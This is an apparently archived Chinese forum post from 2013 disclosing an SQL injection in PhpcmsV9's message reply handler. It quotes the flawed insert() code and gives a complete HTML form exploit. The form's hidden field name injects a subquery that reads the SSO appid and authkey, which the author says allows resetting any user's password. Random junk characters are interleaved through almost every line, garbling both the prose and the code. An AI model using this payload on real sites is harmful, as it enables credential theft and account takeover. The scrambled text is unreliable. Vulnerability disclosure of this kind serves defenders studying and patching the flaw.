找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:# ]: `0 l2 ^: Y

3 _& R2 o% U& w! c8 F, p第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。9 B8 i/ B/ V; G9 T) U

$ f. G1 ]9 X. M9 l9 {3 l明天再更新下一个漏洞。
+ P* [3 H; ~4 j9 H/ m( u. y详细说明:. r+ Y' W. X8 m  l+ H
在/phpcms9/phpcms/modules/message/index.php中有代码如下:3 a2 q; E+ L- o8 K, ?; l6 S3 g0 |

5 x$ q" C& p3 {7 y6 M* f+ q" P$messageid = $this->message_db->insert($_POST['info'],true);- r8 p" L4 f, v' b( ^1 {" J

* k( H9 I$ [0 g. y! s3 X! e  \5 b! O. P, Z, _- |, _& H
insert方法是key value的,代码如下:
4 x3 H) t+ k/ r! E$ p' C
& j* h5 F$ h- ppublic function insert($data, $table, $return_insert_id = false, $replace = false) {
7 i1 r3 e9 m& X- V; z" i                if(!is_array( $data ) || $table == '' || count($data) == 0) {
  x. k, l& I8 g0 z" c, x, o                        return false;
1 x1 o; O$ m8 W- w3 E8 K3 }. @                }* l+ D% C$ L6 U
                ( h, c! l# O9 ?4 I/ I! I
                $fielddata = array_keys($data);
- r% d, B) o4 N( \                $valuedata = array_values($data);
% g& _1 K3 ^9 W) w" W                array_walk($fielddata, array($this, 'add_special_char'));+ |1 _# C: c) M* M$ j# Q
                array_walk($valuedata, array($this, 'escape_string'));
! v' w8 K0 Z1 E( k+ {                7 m9 G0 o& [( D% _
                $field = implode (',', $fielddata);2 X, j, B* Y3 d- Z2 p* n( X0 ^
                $value = implode (',', $valuedata);' x. y# R" r0 ^; ^8 F
1 ]% e$ U" B" J/ P8 U
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# G& [" x+ d: w% C4 |% k! _9 p                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, e, K9 O  Q7 I( H0 X( A+ |8 d' q                $return = $this->execute($sql);
/ y" Z  H" ^. ?+ S  E* _                return $return_insert_id ? $this->insert_id() : $return;* T+ |8 G' c6 J% `
        }
" T+ ~5 t/ X! @7 x1 |  ?/ f" ~$ Q- r1 p& S/ K! t
! f. D$ q8 \: J+ f; N
嗯,很遗憾的是" L0 k% Q1 W3 ^% ~

  b; \- l7 H# i: h  p. yarray_walk($fielddata, array($this, 'add_special_char'));
* m$ w0 ~& f' ~( r3 T0 i2 @6 C- v5 S- t# J3 D/ A* {1 D. H
4 j. v. P' A3 W; n5 j  M* [
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
8 c) c2 e/ p' z1 w$ f+ a" j
, P5 ?/ l# v+ O6 D& p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。, j6 e# _) z* Z0 ]' C

, ]4 S, b: T: ^& o3 ]漏洞证明:
" u  T* E* X4 U( T7 k读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。2 ?* A$ B) w2 f+ k7 T! p# e8 [

0 t8 N/ v! n4 ]4 H% ]4 y7 ?& F% m" L4 ~" G5 M: r
表单如下:用户名什么的得自己改一改。( `; ]9 q/ N9 I! {- [: \/ u* }" b
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 n1 `0 ]: m1 [/ ?
<table width="100%" cellspacing="0" class="table_form">; Y0 h( s! ^& X' U  _( P5 e
<tr>
* E! Y- _/ @+ Y) k; g6 J<th>标 题:</th>
. |; B$ o% N  z/ C! x( e9 J! ?<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>2 w( A, l% o  Z3 t5 f" v
</tr> ( p& b% w8 c# \$ Q  q7 ?
<tr>
# K9 Y* o8 T8 Q<th>内 容:</th>. j$ _3 s3 j  Y- H! ~
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>6 r/ j" G4 c: q7 x0 `6 O
</tr>
1 d( H- E* [4 D9 c. F. W<input type="hidden" name="info[replyid]" value="2" /> % S# X4 h$ g8 s; A/ n5 O
<input type="hidden" name="info[send_to_id]" value="cc" />
' w) Q' [* ?1 V! u+ w<input type="hidden" name="info[send_from_id]" value="hh">
$ s9 X; @8 {) ~+ l1 i<!-- 漏洞的利用重点在这里开始 -->$ |' p. i( B1 W# Q
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
: v% V' b0 d% f# k% e) {<!-- 漏洞的利用重点在这里结束 -->
4 K+ i+ R* ^& U' ?1 u+ z7 ~<tr>/ q" J( ^1 t0 c
<th>验证码:</th>
+ ?; i9 b0 w. A/ W" a<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
  z5 Z; d9 i* a</tr>
5 O; G& _) j9 P3 p4 \5 q<tr>
/ J6 }2 V* Q$ W% P$ x" J<td></td>
& `/ x2 K; a% o<td colspan="2"><label>
  z- [7 ?5 P9 y: o<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
+ g( M' y5 \( w# n+ w</label></td># `+ L. t# v' k: W- o1 _. Z
</tr>  \6 e) Z9 z( U( q/ Z9 J
</table>) w4 ?3 _  `) Q+ D" p2 E3 E
</form>6 i5 f) Q' E+ a, o  E+ E
在add_special_char函数内对key做过滤就可以了。
1 Z# t2 q) L- o: S# _# |+ T; u8 w; ]. K4 l4 g) M; T  D- p( X
# V9 S* I1 w' J, [; u5 {& d+ z. {

6 v/ t8 N: \( |% R+ v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表